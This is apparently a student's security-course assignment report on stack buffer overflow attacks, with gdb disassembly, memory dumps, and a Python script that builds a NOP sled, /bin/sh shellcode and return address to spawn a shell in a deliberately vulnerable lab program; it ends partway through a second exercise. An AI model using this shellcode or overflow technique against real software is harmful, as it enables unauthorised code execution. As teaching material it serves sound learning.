

---

# BBM 459 Assignment-2

**Environment: Ubuntu**

Emre Hancı - April 4, 2021

---



**BUFFER  
OVERFLOW  
ATTACKS**

---

## Introduction

First of all, this project need some additional tools for doing in the right way. Shortly explain of those tools can be;

Disabling ASR, which makes randomizes the starting address of heap and stack for a program and this makes guessing the exact addresses difficult.

Programs only run on 32-bit version, therefor we need to install gcc multilib.

There are security mechanisms against attacks like BOF that use shell programs like /bin/sh linked to /bin/bash. Thus, the privileges for shell are dropped and you can not retain the privileges inside the shell. Therefore, we will use an other shell, zsh.

## Work Explaining

### Part I

```
(gdb) disas bof
Dump of assembler code for function bof:
   0x0000054d <+0>:    push    %ebp
   0x0000054e <+1>:    mov     %esp,%ebp
   0x00000550 <+3>:    push    %ebx
   0x00000551 <+4>:    sub     $0x104,%esp
   0x00000557 <+10>:   call    0x450 <__x86.get_pc_thunk.bx>
   0x0000055c <+15>:   add     $0x1a78,%ebx
   0x00000562 <+21>:   sub     $0x8,%esp
   0x00000565 <+24>:   pushl   0x8(%ebp)
   0x00000568 <+27>:   lea     -0x108(%ebp),%eax
   0x0000056e <+33>:   push    %eax
   0x0000056f <+34>:   call    0x3d0 <strcpy@plt>
   0x00000574 <+39>:   add     $0x10,%esp
   0x00000577 <+42>:   sub     $0xc,%esp
   0x0000057a <+45>:   lea     -0x108(%ebp),%eax
   0x00000580 <+51>:   push    %eax
   0x00000581 <+52>:   call    0x3e0 <puts@plt>
   0x00000586 <+57>:   add     $0x10,%esp
   0x00000589 <+60>:   nop
   0x0000058a <+61>:   mov     -0x4(%ebp),%ebx
   0x0000058d <+64>:   leave
   0x0000058e <+65>:   ret
End of assembler dump.
(gdb) break * bof + 34
Breakpoint 1 at 0x56f: file sample.c, line 8.
```

I.I. and I.II

Answer;

If we look inside of BOF function, we can simply answer that question.

In the BOF function there is a strcpy call if we set a breakpoint on that line, we can see the input validation status.

We run the program with "CCCCCCCC" and program came to breakpoint.

```
(gdb) run CCCCCCCC
Starting program: /home/emre/Desktop/sample CCCCCCCC

Breakpoint 1, 0x5655556f in bof (str=0xffffd6cb "CCCCCCCC") at sample.c:8
8      strcpy(buffer, str);
```

In this  
screenshot  
we see the  
stack before  
execution of  
strcpy call.

```
(gdb) x/400xb $esp
0xffffd360: 0x70 0xd3 0xff 0xff 0xcb 0xd6 0xff 0xff
0xffffd368: 0x00 0x00 0x00 0x00 0x5c 0x55 0x55 0x56
0xffffd370: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd378: 0x39 0xf4 0xfd 0xf7 0x18 0xa3 0x43 0x6e
0xffffd380: 0x00 0xde 0xff 0xf7 0xf4 0xd3 0xff 0xff
0xffffd388: 0x00 0x00 0x00 0x00 0xcb 0xff 0xfd 0xf7
0xffffd390: 0x5c 0xd4 0xff 0xff 0xf4 0xd3 0xff 0xff
0xffffd398: 0x8c 0xdd 0xff 0xf7 0x00 0x00 0x00 0x00
0xffffd3a0: 0x90 0xd4 0xff 0xff 0x00 0x00 0x00 0x00
0xffffd3a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd3b0: 0x30 0xdc 0xff 0xf7 0x00 0x00 0x00 0x00
0xffffd3b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd3c0: 0x00 0x00 0x00 0x00 0x00 0xd0 0xff 0xf7
0xffffd3c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd3d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd3d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd3e0: 0x09 0x00 0x00 0x00 0x00 0x60 0xfb 0xf7
0xffffd3e8: 0xc2 0x00 0x00 0x00 0xff 0x1f 0x00 0x00
0xffffd3f0: 0x00 0xd0 0xff 0xf7 0xa0 0x41 0xfd 0xf7
0xffffd3f8: 0x79 0x9b 0xe7 0xf7 0xc2 0x00 0x00 0x00
0xffffd400: 0x84 0xc9 0xff 0xf7 0x88 0xc9 0xff 0xf7
0xffffd408: 0x4a 0xd4 0xff 0xff 0xd0 0x9e 0xe7 0xf7
0xffffd410: 0x4a 0xd4 0xff 0xff 0x84 0xc9 0xff 0xf7
0xffffd418: 0x88 0xc9 0xff 0xf7 0x58 0xd4 0xff 0xff
0xffffd420: 0x5c 0xd4 0xff 0xff 0x4b 0xd4 0xff 0xff
0xffffd428: 0x01 0x00 0x00 0x00 0xc2 0x00 0x00 0x00
0xffffd430: 0x00 0x00 0x00 0x00 0x00 0x00 0xc3 0x00
0xffffd438: 0x01 0x00 0x00 0x00 0x00 0xc9 0xff 0xf7
0xffffd440: 0x90 0xd4 0xff 0xff 0x00 0x00 0x00 0x00
0xffffd448: 0x00 0x00 0x00 0x00 0x00 0xe6 0x61 0x3e
0xffffd450: 0x09 0x00 0x00 0x00 0xb1 0xd6 0xff 0xff
0xffffd458: 0x39 0x11 0xe1 0xf7 0x08 0x98 0xfb 0xf7
0xffffd460: 0x00 0x60 0xfb 0xf7 0x00 0x60 0xfb 0xf7
0xffffd468: 0x00 0x00 0x00 0x00 0x9b 0x12 0xe1 0xf7
0xffffd470: 0xfc 0x63 0xfb 0xf7 0xd4 0x6f 0x55 0x56
0xffffd478: 0x98 0xd4 0xff 0xff 0xbc 0x55 0x55 0x56
0xffffd480: 0xcb 0xd6 0xff 0xff 0x44 0xd5 0xff 0xff
0xffffd488: 0x50 0xd5 0xff 0xff 0xa3 0x55 0x55 0x56
0xffffd490: 0xb0 0xd4 0xff 0xff 0x00 0x00 0x00 0x00
0xffffd498: 0x00 0x00 0x00 0x00 0x21 0x9f 0xdf 0xf7
0xffffd4a0: 0x00 0x60 0xfb 0xf7 0x00 0x60 0xfb 0xf7
0xffffd4a8: 0x00 0x00 0x00 0x00 0x21 0x9f 0xdf 0xf7
0xffffd4b0: 0x02 0x00 0x00 0x00 0x44 0xd5 0xff 0xff
0xffffd4b8: 0x50 0xd5 0xff 0xff 0xd4 0xd4 0xff 0xff
0xffffd4c0: 0x02 0x00 0x00 0x00 0x44 0xd5 0xff 0xff
0xffffd4c8: 0x00 0x60 0xfb 0xf7 0x0a 0x57 0xfe 0xf7
0xffffd4d0: 0x40 0xd5 0xff 0xff 0x00 0x00 0x00 0x00
0xffffd4d8: 0x00 0x60 0xfb 0xf7 0x00 0x00 0x00 0x00
0xffffd4e0: 0x00 0x00 0x00 0x00 0x4f 0xc9 0x92 0x3a
0xffffd4e8: 0x5f 0x6f 0x06 0x7a 0x00 0x00 0x00 0x00
(gdb) nexti
0x56555574 8      strcpy(buffer, str);
```

(gdb) x/400xb \$esp								
0xffffd360:	0x70	0xd3	0xff	0xff	0xcb	0xd6	0xff	0xff
0xffffd368:	0x00	0x00	0x00	0x00	0x5c	0x55	0x55	0x56
0xffffd370:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd378:	0x00	0xf4	0xfd	0xf7	0x18	0xa3	0x43	0x6e
0xffffd380:	0x00	0xde	0xff	0xf7	0xf4	0xd3	0xff	0xff
0xffffd388:	0x00	0x00	0x00	0x00	0xcb	0xff	0xfd	0xf7
0xffffd390:	0x5c	0xd4	0xff	0xff	0xf4	0xd3	0xff	0xff
0xffffd398:	0x8c	0xdd	0xff	0xf7	0x00	0x00	0x00	0x00
0xffffd3a0:	0x90	0xd4	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd3a8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd3b0:	0x30	0xdc	0xff	0xf7	0x00	0x00	0x00	0x00
0xffffd3b8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd3c0:	0x00	0x00	0x00	0x00	0x00	0xd0	0xff	0xf7
0xffffd3c8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd3d0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd3d8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd3e0:	0x09	0x00	0x00	0x00	0x00	0x60	0xfb	0xf7
0xffffd3e8:	0xc2	0x00	0x00	0x00	0xff	0x1f	0x00	0x00
0xffffd3f0:	0x00	0xd0	0xff	0xf7	0xa0	0x41	0xfd	0xf7
0xffffd3f8:	0x79	0x9b	0xe7	0xf7	0xc2	0x00	0x00	0x00
0xffffd400:	0x84	0xc9	0xff	0xf7	0x88	0xc9	0xff	0xf7
0xffffd408:	0x4a	0xd4	0xff	0xff	0xd0	0x9e	0xe7	0xf7
0xffffd410:	0x4a	0xd4	0xff	0xff	0x84	0xc9	0xff	0xf7
0xffffd418:	0x88	0xc9	0xff	0xf7	0x58	0xd4	0xff	0xff
0xffffd420:	0x5c	0xd4	0xff	0xff	0x4b	0xd4	0xff	0xff
0xffffd428:	0x01	0x00	0x00	0x00	0xc2	0x00	0x00	0x00
0xffffd430:	0x00	0x00	0x00	0x00	0x00	0x00	0xc3	0x00
0xffffd438:	0x01	0x00	0x00	0x00	0x00	0xc9	0xff	0xf7
0xffffd440:	0x90	0xd4	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd448:	0x00	0x00	0x00	0x00	0x00	0xe6	0x61	0x3e
0xffffd450:	0x09	0x00	0x00	0x00	0xb1	0xd6	0xff	0xff
0xffffd458:	0x39	0x11	0xe1	0xf7	0x08	0x98	0xfb	0xf7
0xffffd460:	0x00	0x60	0xfb	0xf7	0x00	0x60	0xfb	0xf7
0xffffd468:	0x00	0x00	0x00	0x00	0x9b	0x12	0xe1	0xf7
0xffffd470:	0xfc	0x63	0xfb	0xf7	0xd4	0x6f	0x55	0x56
0xffffd478:	0x98	0xd4	0xff	0xff	0xbc	0x55	0x55	0x56
0xffffd480:	0xcb	0xd6	0xff	0xff	0x44	0xd5	0xff	0xff
0xffffd488:	0x50	0xd5	0xff	0xff	0xa3	0x55	0x55	0x56
0xffffd490:	0xb0	0xd4	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd498:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xffffd4a0:	0x00	0x60	0xfb	0xf7	0x00	0x60	0xfb	0xf7
0xffffd4a8:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xffffd4b0:	0x02	0x00	0x00	0x00	0x44	0xd5	0xff	0xff
0xffffd4b8:	0x50	0xd5	0xff	0xff	0xd4	0xd4	0xff	0xff
0xffffd4c0:	0x02	0x00	0x00	0x00	0x44	0xd5	0xff	0xff
0xffffd4c8:	0x00	0x60	0xfb	0xf7	0x0a	0x57	0xfe	0xf7
0xffffd4d0:	0x40	0xd5	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd4d8:	0x00	0x60	0xfb	0xf7	0x00	0x00	0x00	0x00
0xffffd4e0:	0x00	0x00	0x00	0x00	0x4f	0xc9	0x92	0x3a
0xffffd4e8:	0x5f	0x6f	0x06	0x7a	0x00	0x00	0x00	0x00

In this screenshot we can see the input that we give it to program. That is the proof of valid Input.

II. In this part the expectation from us place a shellcode in memory and jumping on that memory address then execute and open shellcode. For doing thus steps we need to find buffer size, while finding the buffer size I try, and try again until find of the buffer size. After finding the buffer size 272 which change the return address the input that I gave to program I find out that I need to place 222 byte NOP's and 46 byte shellcode and then 4 byte return address which represent of any of 222 byte NOP.

```

(gdb) x/400xb $esp
0xffffd250:  0x60  0xd2  0xff  0xff  0xc3  0xd5  0xff  0xff
0xffffd258:  0x00  0x00  0x00  0x00  0x5c  0x55  0x55  0x56
0xffffd260:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd268:  0x39  0xf4  0xfd  0xf7  0x18  0xa3  0x43  0x6e
0xffffd270:  0x00  0xde  0xff  0xf7  0xe4  0xd2  0xff  0xff
0xffffd278:  0x00  0x00  0x00  0x00  0xcb  0xff  0xfd  0xf7
0xffffd280:  0x4c  0xd3  0xff  0xff  0xe4  0xd2  0xff  0xff
0xffffd288:  0x8c  0xdd  0xff  0xf7  0x00  0x00  0x00  0x00
0xffffd290:  0x80  0xd3  0xff  0xf7  0x00  0x00  0x00  0x00
0xffffd298:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd2a0:  0x30  0xdc  0xff  0xf7  0x00  0x00  0x00  0x00
0xffffd2a8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd2b0:  0x00  0x00  0x00  0x00  0x00  0x00  0xd0  0xff
0xffffd2b8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd2c0:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd2c8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd2d0:  0x09  0x00  0x00  0x00  0x00  0x00  0x60  0xfb
0xffffd2d8:  0xc2  0x00  0x00  0x00  0xff  0x1f  0x00  0x00
0xffffd2e0:  0x00  0xd0  0xff  0xf7  0xa0  0x41  0xfd  0xf7
0xffffd2e8:  0x79  0x9b  0xe7  0xf7  0xc2  0x00  0x00  0x00
0xffffd2f0:  0x84  0xc9  0xff  0xf7  0x88  0xc9  0xff  0xf7
0xffffd2f8:  0x3a  0xd3  0xff  0xff  0xd0  0x9e  0xe7  0xf7
0xffffd300:  0x3a  0xd3  0xff  0xff  0x84  0xc9  0xff  0xf7
0xffffd308:  0x88  0xc9  0xff  0xf7  0x48  0xd3  0xff  0xff
0xffffd310:  0x4c  0xd3  0xff  0xff  0x3b  0xd3  0xff  0xff
0xffffd318:  0x01  0x00  0x00  0x00  0xc2  0x00  0x00  0x00
0xffffd320:  0x00  0x00  0x00  0x00  0x00  0x00  0xc3  0x00
0xffffd328:  0x01  0x00  0x00  0x00  0x00  0xc9  0xff  0xf7
0xffffd330:  0x80  0xd3  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd338:  0x00  0x00  0x00  0x00  0x00  0x19  0x45  0xe0
0xffffd340:  0x09  0x00  0x00  0x00  0xa9  0xd5  0xff  0xff
0xffffd348:  0x39  0x11  0xe1  0xf7  0x08  0x98  0xfb  0xf7
0xffffd350:  0x00  0x60  0xfb  0xf7  0x00  0x60  0xfb  0xf7
0xffffd358:  0x00  0x00  0x00  0x00  0x9b  0x12  0xe1  0xf7
0xffffd360:  0xfc  0x63  0xfb  0xf7  0xd4  0x6f  0x55  0x56
0xffffd368:  0x88  0xd3  0xff  0xff  0xbc  0x55  0x55  0x56
0xffffd370:  0xc3  0xd5  0xff  0xff  0x34  0xd4  0xff  0xff
0xffffd378:  0x40  0xd4  0xff  0xff  0xa3  0x55  0x55  0x56
0xffffd380:  0xa0  0xd3  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd388:  0x00  0x00  0x00  0x00  0x21  0x9f  0xdf  0xf7
0xffffd390:  0x00  0x60  0xfb  0xf7  0x00  0x60  0xfb  0xf7
0xffffd398:  0x00  0x00  0x00  0x00  0x21  0x9f  0xdf  0xf7
0xffffd3a0:  0x02  0x00  0x00  0x00  0x34  0xd4  0xff  0xff
0xffffd3a8:  0x40  0xd4  0xff  0xff  0xc4  0xd3  0xff  0xff
0xffffd3b0:  0x02  0x00  0x00  0x00  0x34  0xd4  0xff  0xff
0xffffd3b8:  0x00  0x60  0xfb  0xf7  0x0a  0x57  0xfe  0xf7
0xffffd3c0:  0x30  0xd4  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd3c8:  0x00  0x60  0xfb  0xf7  0x00  0x00  0x00  0x00
0xffffd3d0:  0x00  0x00  0x00  0x00  0xac  0x3a  0x12  0x2f
0xffffd3d8:  0xbc  0xbc  0x88  0x6f  0x00  0x00  0x00  0x00

```

Our stack status before executing strcpy.



(gdb) nexti								
0x56555574	8	strcpy(buffer, str);						
(gdb) x/400xb \$esp								
0xfffffd240:	0x50	0xd2	0xff	0xff	0xb1	0xd5	0xff	0xff
0xfffffd248:	0x00	0x00	0x00	0x00	0x5c	0x55	0x55	0x56
0xfffffd250:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd258:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd260:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd268:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd270:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd278:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd280:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd288:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd290:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd298:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2a0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2a8:	0x31	0xc0	0xb0	0x46	0x31	0xdb	0x31	0xc9
0xfffffd2b0:	0xcd	0x80	0xeb	0x16	0x5b	0x31	0xc0	0x88
0xfffffd2b8:	0x43	0x07	0x89	0x5b	0x08	0x89	0x43	0x0c
0xfffffd2c0:	0xb0	0x0b	0x8d	0x4b	0x08	0x8d	0x53	0x0c
0xfffffd2c8:	0xcd	0x80	0xe8	0xe5	0xff	0xff	0xff	0x2f
0xfffffd2d0:	0x62	0x69	0x6e	0x2f	0x73	0x68	0x90	0x90
0xfffffd2d8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2e0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2e8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2f0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd2f8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd300:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd308:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd310:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd318:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd320:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd328:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd330:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd338:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd340:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd348:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd350:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xfffffd358:	0x90	0x90	0x90	0x90	0xa0	0xd2	0xff	0xff
0xfffffd360:	0x00	0xd5	0xff	0xff	0x24	0xd4	0xff	0xff
0xfffffd368:	0x30	0xd4	0xff	0xff	0xa3	0x55	0x55	0x56
0xfffffd370:	0x90	0xd3	0xff	0xff	0x00	0x00	0x00	0x00
0xfffffd378:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xfffffd380:	0x00	0x60	0xfb	0xf7	0x00	0x60	0xfb	0xf7
0xfffffd388:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xfffffd390:	0x02	0x00	0x00	0x00	0x24	0xd4	0xff	0xff
0xfffffd398:	0x30	0xd4	0xff	0xff	0xb4	0xd3	0xff	0xff
0xfffffd3a0:	0x02	0x00	0x00	0x00	0x24	0xd4	0xff	0xff
0xfffffd3a8:	0x00	0x60	0xfb	0xf7	0x0a	0x57	0xfe	0xf7
0xfffffd3b0:	0x20	0xd4	0xff	0xff	0x00	0x00	0x00	0x00
0xfffffd3b8:	0x00	0x60	0xfb	0xf7	0x00	0x00	0x00	0x00
0xfffffd3c0:	0x00	0x00	0x00	0x00	0xce	0xbb	0x6b	0x3f
0xfffffd3c8:	0xde	0x5d	0xf1	0x7f	0x00	0x00	0x00	0x00

NOPs in our stack

(gdb) x/400xb \$esp								
0xffffd240:	0x50	0xd2	0xff	0xff	0xb1	0xd5	0xff	0xff
0xffffd248:	0x00	0x00	0x00	0x00	0x5c	0x55	0x55	0x56
0xffffd250:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd258:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd260:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd268:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd270:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd278:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd280:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd288:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd290:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd298:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2a0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2a8:	0x31	0xc0	0xb0	0x46	0x31	0xdb	0x31	0xc9
0xffffd2b0:	0xcd	0x80	0xeb	0x16	0x5b	0x31	0xc0	0x88
0xffffd2b8:	0x43	0x07	0x89	0x5b	0x08	0x89	0x43	0x0c
0xffffd2c0:	0xb0	0x0b	0x8d	0x4b	0x08	0x8d	0x53	0x0c
0xffffd2c8:	0xcd	0x80	0xe8	0xe5	0xff	0xff	0xff	0x2f
0xffffd2d0:	0x62	0x69	0x6e	0x2f	0x73	0x68	0x90	0x90
0xffffd2d8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2e0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2e8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2f0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd2f8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd300:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd308:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd310:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd318:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd320:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd328:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd330:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd338:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd340:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd348:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd350:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd358:	0x90	0x90	0x90	0x90	0xa0	0xd2	0xff	0xff
0xffffd360:	0x00	0xd5	0xff	0xff	0x24	0xd4	0xff	0xff
0xffffd368:	0x30	0xd4	0xff	0xff	0xa3	0x55	0x55	0x56
0xffffd370:	0x90	0xd3	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd378:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xffffd380:	0x00	0x60	0xfb	0xf7	0x00	0x60	0xfb	0xf7
0xffffd388:	0x00	0x00	0x00	0x00	0x21	0x9f	0xdf	0xf7
0xffffd390:	0x02	0x00	0x00	0x00	0x24	0xd4	0xff	0xff
0xffffd398:	0x30	0xd4	0xff	0xff	0xb4	0xd3	0xff	0xff
0xffffd3a0:	0x02	0x00	0x00	0x00	0x24	0xd4	0xff	0xff
0xffffd3a8:	0x00	0x60	0xfb	0xf7	0x0a	0x57	0xfe	0xf7
0xffffd3b0:	0x20	0xd4	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd3b8:	0x00	0x60	0xfb	0xf7	0x00	0x00	0x00	0x00
0xffffd3c0:	0x00	0x00	0x00	0x00	0xce	0xbb	0x6b	0x3f
0xffffd3c8:	0xde	0x5d	0xf1	0x7f	0x00	0x00	0x00	0x00

The shellcode us placed in stack.

```
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                     *S
                                     ****/bin/sh****
process 5034 is executing new program: /bin/zsh
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
Error in re-setting breakpoint 1: No symbol "bof" in current context.
# ls
1.py 1shellcode.txt 22.py 22shellcode.txt 22shellcode.txt 'Untitled Document 1' sample sample.c stackbof
#
```

After executing we are in the shell.

The python script that I use for entering shell is;

```
import sys;
sys.stdout.buffer.write(b'\x90'*88 +
b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x4
3\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x8
0\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + b'\x90'*134 +
b'\xa0\xd2\xff\xff')
```

For running that script I take the result as an textfile with the command of

```
python3 1.py > 1shellcode.txt
```

Then run the program with the command of below code take me in the shell.

```
run $(cat 1shellcode.txt)
```



---

## Part II

II.II In that part the expectation is calling the function which is hack.

```
(gdb) disas hack
Dump of assembler code for function hack:
   0x080484ba <+0>:    push    %ebp
   0x080484bb <+1>:    mov     %esp,%ebp
   0x080484bd <+3>:    sub     $0x18,%esp
   0x080484c0 <+6>:    movl    $0x804861c,(%esp)
   0x080484c7 <+13>:   call    0x8048350 <puts@plt>
   0x080484cc <+18>:   leave
   0x080484cd <+19>:   ret
End of assembler dump.
(gdb) disas copy
Dump of assembler code for function copy:
   0x0804847d <+0>:    push    %ebp
   0x0804847e <+1>:    mov     %esp,%ebp
   0x08048480 <+3>:    sub     $0x28,%esp
   0x08048483 <+6>:    movl    $0x80485a0,(%esp)
   0x0804848a <+13>:   call    0x8048330 <printf@plt>
   0x0804848f <+18>:   mov     0x8(%ebp),%eax
   0x08048492 <+21>:   mov     %eax,0x4(%esp)
   0x08048496 <+25>:   lea     -0x12(%ebp),%eax
   0x08048499 <+28>:   mov     %eax,(%esp)
   0x0804849c <+31>:   call    0x8048340 <strcpy@plt>
   0x080484a1 <+36>:   lea     -0x12(%ebp),%eax
   0x080484a4 <+39>:   mov     %eax,(%esp)
   0x080484a7 <+42>:   call    0x8048350 <puts@plt>
   0x080484ac <+47>:   movl    $0x80485dc,(%esp)
   0x080484b3 <+54>:   call    0x8048330 <printf@plt>
   0x080484b8 <+59>:   leave
   0x080484b9 <+60>:   ret
End of assembler dump.
(gdb) break * copy + 31
Breakpoint 1 at 0x804849c: file StackOverrun.c, line 9.
```

As the seeing on hack and copy function, there is a weakness on strcpy call I set breakpoint on that line.

```

Breakpoint 1, 0x0804849c in copy (input=0xffffd6b7 'A' <repeats 22 times>, "\272\204\004\b") at StackOverrun.c:9
9      in StackOverrun.c
(gdb) x/400xb $esp
0xffffd440:  0x56  0xd4  0xff  0xff  0xb7  0xd6  0xff  0xff
0xffffd448:  0x00  0x00  0x00  0x00  0xfd  0x82  0x04  0x08
0xffffd450:  0xfc  0x63  0xfb  0xf7  0x00  0x00  0x00  0x00
0xffffd458:  0x00  0xa0  0x04  0x08  0x62  0x85  0x04  0x08
0xffffd460:  0x02  0x00  0x00  0x00  0x24  0xd5  0xff  0xff
0xffffd468:  0x88  0xd4  0xff  0xff  0x00  0x85  0x04  0x08
0xffffd470:  0xb7  0xd6  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd478:  0x1b  0x85  0x04  0x08  0x00  0x00  0x00  0x00
0xffffd480:  0x00  0x60  0xfb  0xf7  0x00  0x60  0xfb  0xf7
0xffffd488:  0x00  0x00  0x00  0x00  0x21  0x9f  0xdf  0xf7
0xffffd490:  0x02  0x00  0x00  0x00  0x24  0xd5  0xff  0xff
0xffffd498:  0x30  0xd5  0xff  0xff  0xb4  0xd4  0xff  0xff
0xffffd4a0:  0x01  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd4a8:  0x00  0x60  0xfb  0xf7  0x0a  0x57  0xfe  0xf7
0xffffd4b0:  0x00  0xd0  0xff  0xf7  0x00  0x00  0x00  0x00
0xffffd4b8:  0x00  0x60  0xfb  0xf7  0x00  0x00  0x00  0x00
0xffffd4c0:  0x00  0x00  0x00  0x00  0x97  0xdd  0xfc  0xb0
0xffffd4c8:  0x87  0x3b  0x68  0xf0  0x00  0x00  0x00  0x00
0xffffd4d0:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd4d8:  0x02  0x00  0x00  0x00  0x80  0x83  0x04  0x08
0xffffd4e0:  0x00  0x00  0x00  0x00  0x50  0xad  0xfe  0xf7
